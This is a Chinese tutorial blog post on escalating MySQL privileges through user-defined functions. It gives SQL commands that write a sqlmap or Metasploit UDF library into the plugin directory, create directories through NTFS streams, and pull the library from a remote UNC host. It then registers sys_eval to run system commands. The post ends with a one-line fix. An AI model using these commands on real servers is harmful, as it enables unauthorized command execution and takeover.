首页 > 数据库 >【待做】Mysql攻击之UDF提权

【待做】Mysql攻击之UDF提权

时间:2024-08-15 20:49:20浏览次数:14  
标签:secure lib plugin dll 提权 udf file Mysql UDF

一、前置知识  
    1.1 secure_file_priv



UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

这就意味着,我们可以通过udf为mysql添加任意功能,包括自定义sql函数,tcp开发,http请求,甚至直接调用系统命令;

一、前置知识

1.1 secure_file_priv

secure_file_priv是用来限制into dumpfile,into outfile.load_file()能在哪个目录下导出或者读取文件的,所以该值为空是我们利用udf提权的首要条件。

当secure_file_priv的值为NULL时表示不允许导入导出,这个时候不能提权

当secure_file_priv的值为空时表示没有限制,可以任意导入导出,这个时候可以提权

当secure_file_priv的值为某个目录时,表示只能在这个文件夹下面导入导出,这时候不能提权

查看secure_file_priv值:

show variables like '%secure_file_priv%';
     图片

各版本差异

在MYSQL 4.1以前的版本中,可以将任意位置的DLL的任何函数都注册到MYSQL里面以供MYSQL调用。

Any/udf.dll

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。

Any/udf.dll

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\, (使用环境变量中的路径)

C:/windows/system32/udf.dll

Mysql5.1及以上版本,必须将DLL文件上传到mysql安装目录下的lib\plugin文件夹下才能创建自定义的函数。(备用数据流创建目录)

mysql\lib::$INDEX_ALLOCATION
mysql\lib\plugin::$INDEX_ALLOCATION
lib/plugin/udf.dll

利用前提

1.当前有insert和delete权限或具备root账号所具备的条件也可以。

2.secure_file_priv为空

利用步骤

1、查看secure_file_priv的值是否为空

2、查看系统架构及plugin插件目录,确定使用x86还是x64的udf

查看主机版本及架构

show variables like '%compile%';

图片

show variables like '%plugin%';

图片

如果plugin值中的目录不存在的话可以手工创建该文件夹。

3、准备udf.dll

Sqlmap中的UDF

MetaSploit中的UDF

自开发UDF

这里介绍前两种,下篇文章专门写一下第三种

Sqlmap中的UDF.dll位于sqlmap/data/udf/mysql目录下,包含64位和32位liunx和windows系统下利用的动态链接库文件

图片

sqlmap中自带的动态链接库为了防止被杀软误杀都要经过编码处理,不能直接使用。使用之前需要先用sqlmap自带的解码工具cloak.py(extra/cloak目录下)解码

图片

metasploit中自带的动态链接库位于

/user/share/metasploit-framework/data/exploits/mysql目录下,包含64位和32位liunx和windows系统下利用的动态链接库文件

图片

4、写入/上传UDF.dll

如果有Webshell权限,直接创建lib/plugin然后上传udf.dll即可

图片

如果没有则需要使用备用数据流创建目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';
//使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS再次创建plugin目录

在本地将udf.dll十六进制编码

select hex(load_file('udf.so')) into outfile "udf.txt";

图片

使用into dumpfile写入

Select 0x00 into dumpfile "any/mysql/lib/plugin/udf.so";

由于数据过长,需要将其分段写入。先创建一个表,将十六进制数据分段写入表中,最后将含有数据的那个字段导出到udf.so,:

create table temp(data longblob);
insert into temp(data) values (0x0);
update temp set data = concat(data,0x00);
update temp set data = concat(data,0x00);
select data from temp into dumpfile "any/mysql/lib/plugin/udf.so";

图片

也可以使用load_file远程加载在写入(这种要使用unc路径)

select load_file('\\8.8.8.8\udf.so') into dumpfile "any/mysql/lib/plugin/udf.so"

图片

总之这一步就是不管通过什么方法,只要可以将udf.dll写入plugin目录即可

5、导入函数

create function sys_eval returns string soname 'udf.so';

图片

6、调用函数

select sys_eval('whoami');

图片

7、删除函数

drop function sys_eval;

修复建议

修复比较简单

将secure_file_priv设置为NULL即可

原创 捷润MWH攻防团队

标签:secure,lib,plugin,dll,提权,udf,file,Mysql,UDF
From: https://www.cnblogs.com/o-O-oO/p/18361107

相关文章

  • 云计算实训30——mysql主从复制同步、mysql5.7版本安装配置、python操作mysql数据库、
    一、mysql主从复制及同步1、mysql主从自动开机同步2、配置mysql5.7版本mysql-5.7.44-linux-glibc2.12-x86_64.tar启动服务、登录对数据库进行基本操作3、使用python操纵mysql数据库4、编辑python脚本自动化操纵mysql数据库二、mycat读写分离......
  • Windows、Ubuntu安装mysql
    今天我们来学习一下如何在Windows、Ubuntu安装mysql。Windows安装mysql第一步:在官网找到需要安装的mysql版本,下载第二步:下载后打开安装包,进行安装。 点击“Next”: 默认就行,单击next:单击“Excute”等待所有进程结束就安装成功了!接下来配置环境变量:找到mysql的bi......
  • 一文搞懂后端面试之数据库分布式事务【中间件 | 数据库 | MySQL | ACID】
    单库拆分为分库分表之后,一个巨大的挑战就是本地事务变成了分布式事务。事实上,即使没有分库分表,在微服务架构之下我们也还是会面临分布式事务的问题。前置知识分布式事务既可以是纯粹多个数据库实例之间的分布式事务,也可以是跨越不同中间件的业务层面上的分布式事务。前表......
  • 泛微 e-office 10 schema_mysql.sql文件存在敏感信息泄露 附POC
    @[toc]免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。1.泛微e-office10简介微信公众号搜索:南风漏洞复现文......
  • MySQL必知必会(精华提取)
    ※食用指南:文章内容为《MySQL必知必会》此书个人HIGHLIGHT的文字(部分章节没有)、书中所有表格的汇总,建议小白先跟着视频学完一遍之后再来看此书,更易理解的同时达到查漏补缺的效果。推荐学习的视频:【中字】SQL进阶教程|史上最易懂SQL教程!10小时零基础成长SQL大师!!https://www......
  • 记录一次从mysql到sql的数据库迁移
    使用的是c#+SqlSugar。1.获取表数据///<summary>///获取数据库访问对象///</summary>///<returns></returns>publicSqlSugarClientGetSqlSugar(){SqlSugarClientdb=newSqlSugarClient(newConnectionConfig(){Db......
  • 【MySQL核心】误删除表?帮你时间倒流!!!
    背景开发同事在操作测试库的时候,误删除了一张业务表,她问我能不能帮她找回来,我说滚!!!经不住她的软磨硬泡,我还是软了下来。简述:在真实的业务场景中,有时候误删除表可能不止是将这个表找回来那么简单,还需要经过业务方确认是否要补数据等处理方式。我这里是通过备份+截取binlo......
  • mysql数据库 行级锁,间隙锁和临键锁详解
    目录准备查看锁命令演示普通的select语句共享锁与排他锁无索引行锁升级为表锁间隙锁&临键锁索引上的等值查询(索引为唯一索引)索引上的等值查询(索引为普通索引)索引上的范围查询(唯一索引)准备我的mysql版本是8。CREATETABLE`user`(`id`intunsignedN......
  • 最完整版Linux安装mysql8.0(保姆教程)
    目录前言删除已安装的mysql通过yum源安装mysql前言安装mysql可以通过yum源和压缩包两种方式安装,压缩包安装的mysql通常使用的是旧的SysVinit脚本,使用命令如:servicemysqlstart。如果想要交给服务器的任务管理器管理需要进行额外配置,配置中可能会出现一些问题,推荐使......
  • MySql添加用户权限问题
    MySql添加用户权限问题要为MySQL中的test用户授予所有权限,可以按照以下步骤进行:1.连接到MySQL数据库服务器mysql-uroot-p2.授予root用户所有权限grantallon*.*to'test'@'%'identifiedby'yourpassword'withgrantoption;请注意,上述命令中的lo......